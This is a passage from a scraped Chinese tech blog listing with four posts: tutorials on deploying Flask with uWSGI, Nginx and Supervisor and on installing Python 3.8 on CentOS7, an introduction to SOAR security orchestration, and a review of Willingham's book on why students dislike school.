hello.py运行测试程序\n1 2 3 4 5 6 7 (flask_web) [root@localhost flask_web]# python hello.py * Serving Flask app \u0026#39;hello\u0026#39; (lazy loading) * Environment: production WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead. * Debug mode: off * Running on http://127.0.0.1:5000/ (Press CTRL+C to quit) 新开一个shell窗口执行curl http://127.0.0.1:5000/ 可以看到有Hello World返回说明应用在flask框架下运行没有问题。\n1 2 [root@localhost ~]# curl http://127.0.0.1:5000/ Hello World! 三、安装及配置uwsgi uWSGI是一个Web Server，并且独占uwsgi协议，但是同时支持WSGI协议、HTTP协议等，它的功能是把HTTP协议转化成语言支持的网络协议供python使用。有点类似于Java的web服务容器中间件tomcat\n1、安装uwsgi 通过pip命令安装\n1 (flask_web) [root@localhost flask_web]# pip install uwsgi 如果顺利的话会显示Successfully installed uwsgi-2.0.20，表示安装成功了。\n2、配置uwsgi 新建一个uwsgi.ini配置文件，并将配置信息复制到配置文件 vi uwsgi.ini\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 [uwsgi] #http=127.0.0.1:3366 #如果是http,通过proxy_pass http链接 socket=127.0.0.1:3366 #如果是socket，通过nginx配置uwsgi_pass socket链接 wsgi-file=/home/flask_web/hello.py callable=app touch-reload=/home/flask_web/ #最大请求数，最多请求5000次就重启进程，以防止内存泄漏 max-requests=5000 #请求超时时间，超过60秒关闭请求 harakiri=60 #进程的数量 processes=1 #线程数 threads = 2 #记录pid的文件 pidfile=/home/flask_web/uwsgi.pid buffer-size = 32768 #日志最大50M log-maxsize=50000000 #配置虚拟环境路径，如果是在虚拟环境下启动，这个一定要配，不配会有些包找不到，应用会报错。可以在uwsgi.log文件中看报错信息 virtualenv =/home/flask_web #uwsgi日志文件，如果是通过supervisor托管，daemonize配置需要屏蔽 #daemonize=/home/flask_web/uwsgi.log #项目更新后，自动加载 python-autoreload=1 #状态检测地址 stats = 127.0.0.1:9191 3、运行uwsgi 1 (flask_web) [root@localhost flask_web]# uwsgi --ini /home/flask_web/uwsgi.ini 启动以后通过访问curl http://127.0.0.1:3366 有Hello World!的返回信息表示uwsgi已经成功启动，并且应用程序正常。\n1 2 [root@localhost flask_web]# curl http://127.0.0.1:3366 Hello World! 四、配置Nginx反向代理 ps -ef|grep nginx 找到nginx的配置文件 如果uwsgi配置的是socket连接 [uwsgi] socket=127.0.0.1:3366 #如果是socket，通过nginx配置uwsgi_pass socket链接 nginx的server配置如下：\n1 2 3 4 5 6 7 8 9 10 11 server { listen 808; server_name localhost; location / { include uwsgi_params; uwsgi_pass 127.0.0.1:3366; } access_log /home/flask_web/access.log; error_log /home/flask_web/error.log; } 如果uwsgi配置的是http [uwsgi] http=127.0.0.1:3366 #如果是http,通过proxy_pass http链接 nginx的server配置如下：\n1 2 3 4 5 6 7 8 9 10 server { listen 808; server_name localhost; location / { proxy_pass http://127.0.0.1:3366; } access_log /home/flask_web/access.log; error_log /home/flask_web/error.log; } 重新加载nginx配置后，通过浏览器访问可以正常显示访问结果\n五、通过Supervisor进行进程托管 生产环境中，可以通过supervisor来进行uwsgi和nginx进程的托管，界面化的方式管理uwsgi和nginx，包括进程的监控、启停等。\n1、安装supervisor 通过pip安装\n1 pip install supervisor 离线安装请参考：http://xiejava.ishareread.com/posts/d670c9b8/\n2、配置supervisor 找到supervisord的安装目录在/usr/local/bin下\n1 2 [root@localhost bin]# which supervisord /usr/local/bin/supervisord cd到/usr/local/bin目录下 通过echo_supervisord_conf \u0026gt; supervisord.conf\n1 [root@localhost bin]# echo_supervisord_conf \u0026gt; supervisord.conf 可以看到生成了一个supervisord.conf的配置文件。 将生成的supervisord.conf配置文件放到/etc/目录下\n1 mv supervisord.conf /etc/ 修改supervisord.conf的配置文件，主要是将子配置文件路径开启并指定配置文件路径，按照惯例将配置文件放到/etc目录下\n1 2 [include] files = /etc/supervisord.d/*.ini 我们在/etc目录下建个supervisord.d目录用来保存supervisor托管进程的配置文件\n1 2 [root@localhost ~]# cd /etc/ [root@localhost etc]# mkdir supervisord.d 建立并配置子配置文件\n1 2 [root@localhost etc]# cd supervisord.d/ [root@localhost supervisord.d]# vi uwsgi.ini 复制以下内容至uwsgi.ini文件中\n1 2 3 4 5 6 7 8 9 10 11 12 [program:uwsgi] command =uwsgi --ini /home/flask_web/uwsgi.ini directory=/home/flask_web startsecs=10 startretries=5 autostart=true autorestart=true stdout_logfile=/home/flask_web/uwsgi_sup_log.log stdout_logfile_maxbytes=10MB user=root stopasgroup=true killasgroup=true 3、启动supervisor 在启动supervisor拉起uwsgi前两个注意事项\nuwsgi的配置文件中daemonize一定要屏蔽掉，否则守护进程一直会重启，导致端口每次都被占用，Supervisor托管不了。 在启动之前先将已经启动的uwsgi进程停掉，否则通过supervisor拉起uwsgi进程时端口冲突 启动supervisord进程\n1 [root@localhost bin]# supervisord -c /etc/supervisord.conf 修改配置文件后重新加载可以通过 supervisorctl reload 命令重新加载 查看supervisor托管状态\n1 2 [root@localhost supervisord.d]# supervisorctl status uwsgi STARTING 可以看到uwsgi被supervisor托管并已经启动。如果需要通过supervisor的web控制界面进行进程的管理。需要修改/etc/supervisord.conf的配置文件将访问的IP地址限制放开，设置用户名、口令\n1 2 3 4 [inet_http_server] ; inet (TCP) server disabled by default port=*:9001 ; ip_address:port specifier, *:port for all iface username=user ; default is no username (open server) password=user@123 ; default is no password (open server) 重新启动supervisor，重启时会报需要验证的错误\n1 2 3 [root@localhost supervisord.d]# supervisorctl shutdown Server requires authentication error: \u0026lt;class \u0026#39;xmlrpc.client.ProtocolError\u0026#39;\u0026gt;, \u0026lt;ProtocolError for 127.0.0.1/RPC2: 401 Unauthorized\u0026gt;: file: /usr/local/lib/python3.8/site-packages/supervisor/xmlrpc.py line: 542 可以直接kill -9杀掉supervisor的进程再启动，也可以通过supervisorctl 输入用户名、口令通过shutdown然后再重启。 启动命令：supervisord -c /etc/supervisord.conf\n这时就可以通过supervisor的web控制界面进行进程的管理了。 至此，CentOS7下python3+Flask+uWSGI+Nginx+Supervisor环境全部搭建好了。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2021-11-05-centos7%E4%B8%8Bpython3-flask-uwsgi-nginx-supervisor%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/","summary":"\u003cp\u003e在生产环境中通常用uwsgi作为Flask的web服务网关，通过nginx反向代理进行负载均衡，通过supervior进行服务进行的管理。这一套搭下来还是有一些坑要踩，本文通过一个简单的Flask web应用记录了CentOS7下python3+Flask+uWSGI+Nginx+Supervisor环境搭建的全过程，以及一些注意事项，以免遗忘。\u003c/p\u003e","title":"CentOS7下python3+Flask+uWSGI+Nginx+Supervisor环境搭建"},{"content":"环境的搭建是进行开发的第一步，python因为存在python2和python3两个版本，让在建立python环境时造成不便，并且由于在Linux环境下不像Window环境安装那么友好，存在一些小坑。本教程记录了CentOS7下安装python3.8的过程和注意事项。\n一、查看系统版本 1 2 [root@localhost ~]# cat /etc/centos-release CentOS Linux release 7.2.1511 (Core) 1 2 [root@localhost ~]# uname -a Linux localhost.localdomain 3.10.0-327.el7.x86_64 #1 SMP Thu Nov 19 22:10:57 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux 查看python版本\n1 2 [root@localhost ~]# python -V Python 2.7.5 系统默认安装了Python 2.7.5\n二、安装依赖 1 yum install zlib-devel bzip2-devel openssl-devel ncurses-devel sqlite-devel readline-devel tk-devel gcc make 如果有提示一路选择Y就可以\n三、下载python源码包 python官网https://www.python.org/ 目前python最新版本是python3.10 下载稳定版本3.8版\n1 wget https://www.python.org/ftp/python/3.8.12/Python-3.8.12.tgz 四、解压安装python源码包 1、解压 1 tar -zxvf Python-3.8.12.tgz 2、安装 进入解压后的目录进行编译和安装\n1 2 cd Python-3.8.12/ [root@localhost Python-3.8.12]# 1 [root@localhost Python-3.8.12]# ./configure 1 [root@localhost Python-3.8.12]# make\u0026amp;\u0026amp;make install 执行完后显示安装成功 3、建立命令软链接 虽然python3.8.12安装成功了，但默认输入python还是显示是2.7版本的。如果要用python3.8.12需要输入python3即可，有时候不太方便。可以通过修改软链接的方式将默认的python指向python3.8.12。 先看一下默认的python及新安装的python3都安装在哪里\n1 2 [root@localhost Python-3.8.12]# which python /usr/bin/python 1 2 [root@localhost Python-3.8.12]# which python3 /usr/local/bin/python3 可以看到默认的python路径为/usr/bin/python，python3的路径为/usr/local/bin/python3 将python3的软链接加到python上\n1 2 [root@localhost Python-3.8.12]# mv /usr/bin/python /usr/bin/python.bak [root@localhost Python-3.8.12]# ln -s /usr/local/bin/python3 /usr/bin/python 通过python -V命令查看python版号，这时python的版本已经是3.8.12了。\n1 2 [root@localhost Python-3.8.12]# python -V Python 3.8.12 pip命令也可以修改，python3.8.12默认的pip是pip3，CentOS7的python2.7默认没有安装pip. 输入pip命令的时候提示命令没有找到\n1 2 [root@localhost Python-3.8.12]# pip bash: pip: command not found... 这时也可以通过建立软链接的方式将pip命令链接到pip3上。首先看pip3命令在哪?\n1 2 [root@localhost Python-3.8.12]# which pip3 /usr/local/bin/pip3 然后建立pip到pip3的软链接\n1 [root@localhost Python-3.8.12]# ln -s /usr/local/bin/pip3 /usr/bin/pip 1 2 [root@localhost Python-3.8.12]# pip -V pip 21.1.1 from /usr/local/lib/python3.8/site-packages/pip (python 3.8) 五、配置yum 安装python3改完软链接以后发现yum命令报错了，yum是依赖python2.7的，你把python改成了3.8了，所以报错了。\n1 2 3 4 5 [root@localhost Python-3.8.12]# yum File \u0026#34;/usr/bin/yum\u0026#34;, line 30 except KeyboardInterrupt, e: ^ SyntaxError: invalid syntax 可以修改yum里对python2的依赖即可。虽然安装了python3但是系统里python2依旧还在系统里，可以通过python2来指定用python2.7的命令，首先来看下python2的命令在哪里\n1 2 [root@localhost ~]# which python2 /usr/bin/python2 可以cd到/usr/bin目录下 通过ls -alh|grep python查看python命令的详细情况。\n1 [root@localhost bin]# ls -alh|grep python 可以看到python软连接是执行的python3命令，python2是执行的python2.7的命令\n1 vi /usr/libexec/urlgrabber-ext-down 修改对python的依赖，修改成python2或python2.7都可以。 1 vi /usr/bin/yum 修改完这两个文件后，再敲yum命令就不会报错了。\n至此CentOS7环境下python3.8.12已经成功安装！\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2021-11-04-centos7%E4%B8%8B%E5%AE%89%E8%A3%85python3-8/","summary":"\u003cp\u003e环境的搭建是进行开发的第一步，python因为存在python2和python3两个版本，让在建立python环境时造成不便，并且由于在Linux环境下不像Window环境安装那么友好，存在一些小坑。本教程记录了CentOS7下安装python3.8的过程和注意事项。\u003c/p\u003e","title":"CentOS7下安装python3.8"},{"content":"SOAR是最近几年安全市场上最火热的词汇之一。SOAR究竟是什么，发展历程是什么，能够起什么作用，带着这些问题我们来认识一下SOAR。\n一、SOAR是什么 SOAR 一词来自分析机构 Gartner，SOAR-Security Orchestration, Automation and Response 安全编排和自动化响应。在Gartner的报告里，SOAR平台的核心组件为，编排与自动化、工作流引擎、案例与工单管理、威胁情报管理。而SOAR体系则是三个概念的交叉重叠：SOAR=SOA+SIRP+TIP 1）精密编排的联动安全解决方案(SOA)； 2）事件应急响应平台(SIRP)； 3）威胁情报平台(TIP)。 二、SOAR的发展历程 2015年，可以定义为SOAR的1.0时代。Gartner将SOAR(当时被认为是“安全运维分析和报告”)描述成为安全运维团队提供机器可读的安全数据报告和分析管理功能的产品。2017年，SOAR进入2.0时代。Gartner提出了“安全编排、自动化及响应”(SOAR)这个术语，用以描述脱胎于事件响应、安全自动化、场景管理和其他安全工具的一系列新兴平台。Gartner观察到三种以前截然不同的技术：安全编排和自动化(SOA)、安全事件响应平台(SIRPs)和威胁情报平台(TIPs)，正在逐步融合到一起。 根据Gartner2019年最新定义，SOAR是指能使企业组织从SIEM等监控系统中收集报警信息，或通过与其它技术的集成和自动化协调，提供包括安全事件响应和威胁情报等功能。SOAR技术市场最终目标是将安全编排和自动化(SOA)、安全事件响应(SIR)和威胁情报平台(TIP)功能融合到单个解决方案中。 根据Gartner预测，到2022年，有30%大型企业组织（安全团队超过5人）将在安全和运维的工作中使用SOAR，这一比例远超当下5%。当下SOAR技术的早期拥护者是那些已经拥有成熟安全运维中心，并且能够理解SOAR带来好处的那些成熟的安全组织。\n三、SOAR主要解决什么问题 随着网络安全攻防对抗的日趋激烈，网络安全单纯指望防范和阻止的策略已经失效，必须更加注重检测与响应。企业和组织要在网络已经遭受攻击的假定前提下构建集阻止、检测、响应和预防于一体的全新安全防护体系。在国际上，检测和响应类产品受到了极大的关注。放眼国内，更多的注意力集中到了新型检测产品，尤其是未知威胁检测领域。借助这些产品和技术，用户获得了更低的 MTTD（平均检测时间），能够更快更准确地检测出攻击和入侵。但是，这些产品和技术大都没有帮助用户降低 MTTR（平均响应时间）。事实上，对于用户而言，更快地检测出问题仅仅是第一步，如何快速地对问题进行响应更加重要。而在提升安全响应效率的时候，不能仅仅从单点（譬如单纯从端点或者网络）去考虑，还需要从全网整体安全运维的角度去考虑，要将分散的检测与响应机制整合起来。而这，正是 SOAR 要解决的问题。 Gartner指出，SOAR可供公司企业收集不同来源的安全威胁数据和警报，运用人机结合的方法进行事件分析与分类，根据标准流程辅助定义、排序和驱动标准化事件响应行为。SOAR主要为安全团队提供定制化的流程和控制，弥合并加速有效网络威胁的调查与缓解。安全运营团队的大量日常事务性工作也可以借助SOAR加以自动化。而且，案例战术手册还可以帮助分析师在单一平台上响应和缓解威胁，节约事件响应的每一分每一秒宝贵时间。 Gartner 用 OODA 模型，来描绘一个典型的安全运营流程。OODA 即 Observe(观察)、Orient(定位)、Decide(决策)、Act(行动)。\n观察：观察事件并确定发生了什么，即通过各种检测、分析工具，比如 SIEM 类工具，找到威胁线索，如告警。 定位：确定观察的方向，并添加上下文来确定观察的含义，即对产生的告警的内容做调查、丰富化。比如查找外网域名的威胁情报，查找此 IP 的历史行为协助研判等等。 决策：根据业务的风险容忍度和能力决定适当的响应行动，即判定是否需要对此告警采取行动，比如是否需要封禁，是否影响业务，是否需要进一步观察。 行动：根据决定采取行动，并应用到观察过程中，然后重复，即执行确定的安全策略，并验证。每一步都对下一步提供了指导，周而复始，构成了一个良性促进的进化循环，不断优化企业的安全运营流程以应对不断变化的安全威胁。 OODA 环看起来逻辑清晰，易于操作。但事实上， OODA 环里的丰富化、调查取证、验证、执行安全策略变更等等，都是耗时耗力的工作。加上安全设备一直以来的误报问题产生的噪音，以及安全人员工作负荷重，资深从业人员短缺等原因，难以真正有效的推进 OODA 循环。更不用提在 HW 时段高强度的工作压力下，如何能够有条不紊的保持一贯的处置流程来处理每一个安全线索。SOAR 正是在这个背景下被提出，并被寄予厚望。SOAR 的核心，就是将安全流程或预案，即 OODA 循环的每一个实例，比如蠕虫爆发处理流程、挖矿病毒告警处理流程、疑似钓鱼邮件处理流程等等，数字化管理起来形成 Playbook。用自动化完成其中所有可能自动化的动作，无法自动的仍然交由人来处理，通过可视化编排工具将人、技术和流程有机的结合起来，形成标准统一的、可重复的、更高效的安全运营流程。\n四、SOAR的核心功能 从SOAR安全编排自动化响应的字面定义来看SOAR应该具备三大核心能力，编排、自动化、响应\n编排 SOAR中的关键词是编排，这是在使用自动化和响应之前必须构建的关键组件。SOAR的编排体现的是一种协调和决策的能力，针对复杂性的安全事件，通过编排将分析过程中各种复杂性分析流程和处理平台进行组合。分析涉及多种数据或平台，如SIEM分析平台、漏洞管理平台、情报数据、资产数据等。处置响应的编排也涉及到很多平台或设备，如EDR管理平台、运维管理平台、工单管理平台、WAF设备、防火墙等。仅仅以技术为中心的安全保障已不再能满足现状，将人员和流程的编排才能保证安全流程真正高效的运行。SOAR的终极目标就是实现技术、流程、人员的无缝编排。\n自动化 SOAR的自动化体现在三个方面，面对需要处理的安全事件能够根据策略自动选择编排的剧本、自动执行剧本的操作流程、根据决策结果自动联动设备进行防护阻断等行动策略。它允许剧本（常称为Playbooks）在安全流程的部分或全部内容上执行多个任务，将线性剧本串联起来。虽然线性剧本可能更容易创建，但只适用于处理决策需求较少的工作流。编排和自动化比线性剧本的最大优势就是其灵活性，为支持全自动化和半自动化的决策，需要更加灵活的工作流和执行剧本。SOAR能够识别这些决策模式，并基于以往事件中的执行操作，自动推荐新事件的剧本、执行剧本操作流程，自动化分析决策，根据决策结果自动下发防护阻断的行动策略。\n响应 安全事件响应包括告警管理、工单管理、案件管理等功能。告警管理的核心不仅是对告警安全事件的收集、展示和响应，更强调告警分诊和告警调查。只有通过告警分诊和告警调查才能提升告警的质量，减少告警的数量。工单管理适用于中大型的安全运维团队协同化、流程化地进行告警处置与响应，并且确保响应过程可记录、可度量、可考核。案件管理是现代安全事件响应管理的核心能力。案件管理帮助用户对一组相关的告警进行流程化、持续化的调查分析与响应处置，并不断积累该案件相关的痕迹物证 (IOC) 和攻击者的战技过程指标信息 (TTP)。多个案件并行执行，从而持续化地对一系列安全事件进行追踪处置。 事件响应是SOC操作中非常复杂的部分，理想状态下，它将是一个有效的动态过程，涉及数十种相互关联的技术、IT、业务流程和整个组织的人员，将是持续性适应风险和信任评估（Continuous Adaptive Risk and Trust Assessment, CARTA）策略用于在持续监测和可视性方面时，SOC团队可使用SOAR技术执行连续活动，利用SOAR技术通过智能化编排与响应最大程度的将已有安全技术进行整合，提高整个安全事件的解决能力和效率。基于编排和自动化前期对事件的分析，SOAR所提供的响应技术是完善整个事件生命周期，提高解决安全威胁效率的关键一环。本质上，SOAR的最终目标是促进安全团队对事件有全面的、端到端的理解，完成更好、更明智响应。\n五、SOAR的价值 1、缩短响应时间 通过自动化技术，尽可能多的自动完成一个安全事件处置流程中相关步骤，从而缩短响应时间即 MTTR。 2、释放人力 让安全专家从繁重的重复劳动中释放出来，将时间放在更有价值的安全分析、威胁猎捕、流程建立等工作上。 3、安全运营流程标准化 将公司的安全运营流程数字化管理起来，每一次安全事件的对应处置过程都在统一标准，统一步骤下执行，有迹可循。避免人员能力的差距导致的处置实际效果不可控。 4、避免能力断层 将安全专家的经验固化成处置预案Playbook，让不同的人都可以遵循同样的方法来完成特定安全事件的处置流程，避免因为个人的离职导致某个领域的安全能力缺失。 5、运营流程指标可度量 因为运营流程都通过 Playbook 数字化管理且每一次的执行过程都记录在案，因此流程的 KPI 如 MTTD、MTTR、TTQ、TTI 等全部可评估、可度量、可追踪。 6、安全运营决策支撑 通过对公司的所有运营流程数字化管理、数字化执行、数字化KPI评估后，管理者可以有效的评估什么流程基本无用，什么流程执行效率不高，什么流程发挥了最大的作用，甚至什么安全设备在所有流程中被使用的价值最大。从而为以后的安全投资决策，安全团队建设决策提供有价值的数值化支撑。\n六、SOAR与其他安全产品的关系 SOAR定位于安全运营操作平台，它收集不同来源的安全威胁数据和警报，事件来源于其他的态势感知平台、SIEM、日志分析系统或安全人员人工录入需要处理的事件。通过调用安全设备的能力如：情报平台、资产管理平台、漏洞扫描平台、EDR管理平台、运维管理平台、工单管理平台、WAF设备、防火墙来实现对安全事件的分析、溯源、取证、处置、通知等。一端接安全事件源，一端对接安全设备能力。通过SOAR本身的编排能力将人员、设备、资源、流程协同起来。每个企业部署流程和技术并不相同，SOAR在实际落地应用过程中并不能“即插即用”，需要对接事件源、对接各类联动处置设备，根据企业具体的实际情况定制剧本流程。对接的实际安全设备能力数量以及剧本的积累，是SOAR平台能够很好的支持运营的关键。\n作者博客：http://xiejava.ishareread.com/\n","permalink":"http://xiejava.ishareread.com/posts/2021-11-01-%E8%AE%A4%E8%AF%86soar-%E5%AE%89%E5%85%A8%E4%BA%8B%E4%BB%B6%E7%BC%96%E6%8E%92%E8%87%AA%E5%8A%A8%E5%8C%96%E5%93%8D%E5%BA%94/","summary":"\u003cp\u003eSOAR是最近几年安全市场上最火热的词汇之一。SOAR究竟是什么，发展历程是什么，能够起什么作用，带着这些问题我们来认识一下SOAR。\u003c/p\u003e\n\u003ch1 id=\"一soar是什么\"\u003e一、SOAR是什么\u003c/h1\u003e\n\u003cp\u003eSOAR 一词来自分析机构 Gartner，SOAR-Security Orchestration, Automation and Response 安全编排和自动化响应。在Gartner的报告里，SOAR平台的核心组件为，编排与自动化、工作流引擎、案例与工单管理、威胁情报管理。而SOAR体系则是三个概念的交叉重叠：\u003cstrong\u003eSOAR=SOA+SIRP+TIP\u003c/strong\u003e\n1）精密编排的联动安全解决方案(SOA)；\n2）事件应急响应平台(SIRP)；\n3）威胁情报平台(TIP)。\n\u003cimg alt=\"SOAR\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/2021/20211101/soar.png\"\u003e\u003c/p\u003e","title":"认识SOAR-安全事件编排自动化响应"},{"content":"\n在这个知识爆炸、学习竞争压力巨大的时代，让父母最焦虑的事情之一，莫过于家里有个厌学的孩子了。为了让孩子好好学习，家长们操碎了心。为了孩子报各种培训辅导班、自己亲自上阵陪同辅导、高价请一对一的家教辅导，就差自己代替孩子去学习了。而孩子依旧是，一写作业就磨蹭、一考试就不会、一上学就无精打彩，一放学就满血复活。为什么学生不喜欢上学？如何让孩子喜欢并更好的学习呢？让我们跟着这本《为什么学生不喜欢上学?》一起来探索学习的秘密。 《为什么学生不喜欢上学?》是一本关于认知心理学的普及读物，也是一本教育心理学的入门书籍。作为美国弗吉尼亚大学心理学教授威林厄姆的重要著作，是一本深受学生和教师欢迎的教育心理学著作。他用认知心理学的原理，详细分析了学生学习的过程和教师在课堂教学中必须注意的一些问题。\n作者丹尼尔·T·威林厄姆，哈佛大学心理学博士，美国弗吉尼亚大学心理学教授。主要研究以大脑为基础的学习和记忆及认知心理学的基础教育应用。《美国教育家》杂志《向认知科学家提问》专栏作者。\n这本书有着容易被人忽视和低估的名字，实际上它是一本认知心理学和教育心理学的科普著作，长期在美国亚马逊图书榜畅销不衰。在豆瓣评分高达9.3分！\n书中主要提出并回答了这些问题：\n为什么学生不喜欢上学？ 为什么学生能记住电视里的所有细节，却记不住我们教他的知识？ 为什么让学生理解抽象概念这么难？ 题海战术有用吗？ 科学家是怎样思考的？如何让学生像专家一样思考？ 如何因材施教？ 这本书刷新了很多人对学习的认知，不仅仅适合学生，同样适合处于终生学习时代的你和我。如果你的小学老师能早一点看到，你也就不会讨厌学习了。当然，现在的你看了也同样不晚。不论是教育孩子还是自己，了解了认知学的原理，按照符合科学原理的方法去做，都会让大家的学习更有效率。特别是，本书有许多震撼人心、不符合我们直觉的认知让我们重新去思考如何去更好的学习。\n学生为什么不爱学习？ 从认知心理学的角度来看，人是充满好奇心的，愿意探索了解一切；也喜欢思考，因为思考就是解决问题，而解决问题能带来愉悦感。比如当你苦苦思索，终于解出了一道难题或者想通了一件事情，你的大脑可能奖励它自己少量的多巴胺，让你恨不得手舞足蹈，瞬间自信心爆棚，觉得自己是世界上最棒的人。这种快乐，跟吃个甜点是完全不一样。学习应该是件很快乐的事情。\n既然解决问题也能带来快乐，那为什么还有这么多人不愿意思考，不愿意学习呢？\n因为：大脑不是用来思考的！！！\n看到这里估计大家会一脸闷逼，大脑不是用来思考的，哪是用来干啥的呢？是的，大脑能做很多事情，但思考并不是它最拿手的，人类不常思考是因为我们的大脑不是用来思考，而是用来避免思考的。思考很费力，而且它还是缓慢、靠不住的。幸运的是尽管我们并不擅长思考，但我们其实喜欢思考，我们生来就有着好奇心，也寻找可以进行思考的机会。但正是因为思考很难，需要条件合适，这份好奇心才能存活，否则我们很快就会放弃思考的念头。好奇心是与生俱来的，但它很脆弱。思考的愉悦感来自解决问题的过程，在一个要解决的问题上毫无进展是不会有愉悦感的，实际上，还会让你沮丧。同样只是知道问题的答案也不会有多大的愉悦感。如何保持好奇心，激发思考的兴趣呢？答案是思考问题的难易程度。太容易的问题不会带来愉悦感，同样太难的问题不但不会带来愉悦感还会带来挫折感让人渐渐的避免思考。\n所以：要确保提供给学生的问题是可以解决的。尊重学生的认知局限和个体间的认知差异，难易适中。\n根据资料，认知心理学把人类对于外部世界的认识分成了三个区域：舒适区、学习区、恐慌区。其中，“舒适区”是对自己来说没有学习难度的知识，接触这类知识感觉很舒适，但可学到的东西很少，进展缓慢；“学习区”有一定挑战，接触时会感到不适，但又不至于太难受，保持在这个区间学习，可以得到快速成长；“恐慌区”是超出自己能力范围太多的知识，接触会感到忧虑、恐惧，不堪负重以至放弃学习。学习具有适当挑战的东西，一段时间后，“学习区”会慢慢变为“舒适区”， 而一部分的“恐慌区” 又会变成“学习区”。 在舒适区学习，会因为太容易而觉得枯燥，无法坚持；在恐慌区学习，会因为太难好奇心受挫，很快就放弃。所以学习任务要难易适中。要确保在学习过程中碰到的问题可以被解决。\n在学习的过程中死记硬背是否合理？ 一般大家都会死记硬背的学习方法嗤之以鼻，认为是读死书。然而你错了！有些东西该背的还得背，该记的还得记。事实性知识要先于技能，也就是说如9*9乘法表，元素周期表、历史年代表、一些常识等等，必须得用心记下，这些都是学习的基石。\n毫无疑问，让学生记住枯燥的事实是完全不够的，需要进行关联和分析。但是同样，如果没有事实性知识想要凭空让学生拥有分析能力或者归纳能力是不可能的。\n因为： 第一，背景知识对阅读理解来说必不可少。它帮我们在单个的要点之间建立起联系。\n第二，背景知识对于我们的认知是必要的。一个人看起来在进行逻辑思考，但其实大部分是在进行记忆检索。它使我们能够将独立的元素合成一个单元，进而增加工作记忆的空间。\n第三，事实性知识可以增强记忆。如果你对一方面了解的越多，你就越能更好的理解这方面的新知识。\n长期记忆中的事实性记忆使得获取更多的事实性知识更容易，它说明持有的信息量取决于已有的信息量。\n所以： 我们必须让学生学习背景知识。学生必须学会反复出现的概念\u0026ndash;统一所有学科的思想。\n知识体系在先，批判性思维在后。批判性思考并不能够脱离背景知识而单独实践以至完善的。 具有浅显知识都比没有知识强。了解的深固然好，但是我们不可能细致地了解每一件事情，泛泛的知识显然比不懂要强。\n加强阅读。大量的数据证实，读“闲书”的人一生都因此受益。\n偶然获得知识。学习事实性知识可以随时随地的学习如读闲书、翻杂志、看记录片、新闻或者和朋友聊天都可以获得相应的知识。\n尽早开始。家庭环境的培养，如父母使用的语言、书籍资源是否可得、家长是否平时看书。等等还有其他一些因素决定了孩子在上学前拥有的知识。\n题海战术到底有没有用？ 题海战术也是比较有争议的学习方法，现在有一种观点认为，题海战术只对提高考试成绩有帮助，扼杀了学生内在的学习动力，是现行教育下的畸形产物，它带来的弊远大于利。但同时也有教育专家跳出来说，学生必须反复地练习才能学会知识和技能。两者孰是孰非？\n在认知学看来，练习是最有效的窍门之一，它减少了大脑活动需要的空间。没有充分的练习，你不可能精通任何脑力活。\n为什么要练习？因为通过练习能获得最基本的能力，以期精益求精。如果你作为足球运动员在带球的同时还要思考踢球的角度和速度，你不太可能成为一个优秀的足球运动员。你必须得日复一日的练习。像这样的低层次过程必须不假思索，才能给更高层次的过程，比如战术策略提供足够的空间。类似的，你如果不熟记数据要诀也学不好代数。练习的目的是获得能力和提高能力。\n因为：\n练习是为了日后更好的学习。通过大量的练习会让一些步骤变得自动化，学习者才能将思考能力提高到下一个层次。让思考过程变得省力，这样才能学得更多。\n练习使记忆更长久。努力学习显然不能防止遗忘，但持续地练习可以防止遗忘。\n练习促进知识的迁移。重复做很多某一类型的题目使你更容易辨识一个新问题的内在结构，即使你以前没有见过这一题目。\n但是，不是每件事情都需要无限度地练习的。\n所以：\n如果练习可以让思考过程变得省力，我们就要去识别哪些过程需要自动化，总的来说需要自动化的过程往往是自动化后效益能达到最大值的技能的基础。\n分散练习时间。没有必要把关于一个概念的所有练习集中在很短的一段时间里完成。分散练习后记忆会更持久。持续不断地练习同一项技能是很无聊的事，最好能有点变化。分散练习的另一个好处是学习者有更多的时间思考如何将学到的东西加以应用。\n在进阶环境中练习。自动化需要很多练习，聪明的办法是既分散练习的时间，又分散练习的环境。尽量多的设计有创意的方法来练习最关键的技巧，同时让学习者在更高阶的环境中学到基本技能。\n有些孩子天生就不是学习的料？ 有些人认为，学习能力是受基因影响，如果你的基因优秀，你就聪明；基因不好，就不聪明。你聪明就可以学得很好。另外一种看法就是认为智能是可以塑造的。如果考试考砸了或不理解某个知识点，不是因为笨，而是因为他们还不够努力。哪一种看法是正确的呢？\n答案是：两者都有正确的部分。我们的基因遗传确实对智能有影响，但是通常是通过环境影响的。毫无疑问智能是可以改变的！\n孩子智能上的差异可以通过持久的努力来改变。\n因为：\n对于智能，态度很重要 有充分证据证明，相信智能可以通过努力提高的学生比相信智能是改变不了得事情的学生学得更好，得到的分数更高。 孩子必须知道他的能力决定他所作事情时的成功率，他需要发展对于自己能力的自信，而且还要理解，对于不同类型的任务他拥有不同级别的能力。\n所以：\n要确保孩子相信自己能够进步，要让他们相信为此所作的努力是值得的。\n赞扬努力，而非能力。赞扬过程而不是能力，赞扬孩子面对困难时坚持不懈的精神或对作业负责的态度。\n告诉他们一份耕耘一份收获。所有的所谓“天才”都是持续努力的结果。\n坦然的接受失败。如果你想提高智能，你需要挑战自己，这表示接受了略高过自己能力的任务，你很有可能第一次就会失败，但失败没有什么大不了的。人生中的一次又一次的失败是成功的原因。 学习技能不是天生的。所有的学习者都要学会自觉、时间分配、足智多谋（如遇到难题时该如何做）。\n终身学习，做保持好奇心和探索欲的父母和老师，我们需要更多的智慧。而教育就是将智慧薪火相传的过程，尊重孩子的认知规律，谨慎积极的保持努力和践行。教育使人更聪明，聪明的人可以使教育更美好。\n关注：“爱分享读书”微信公众号 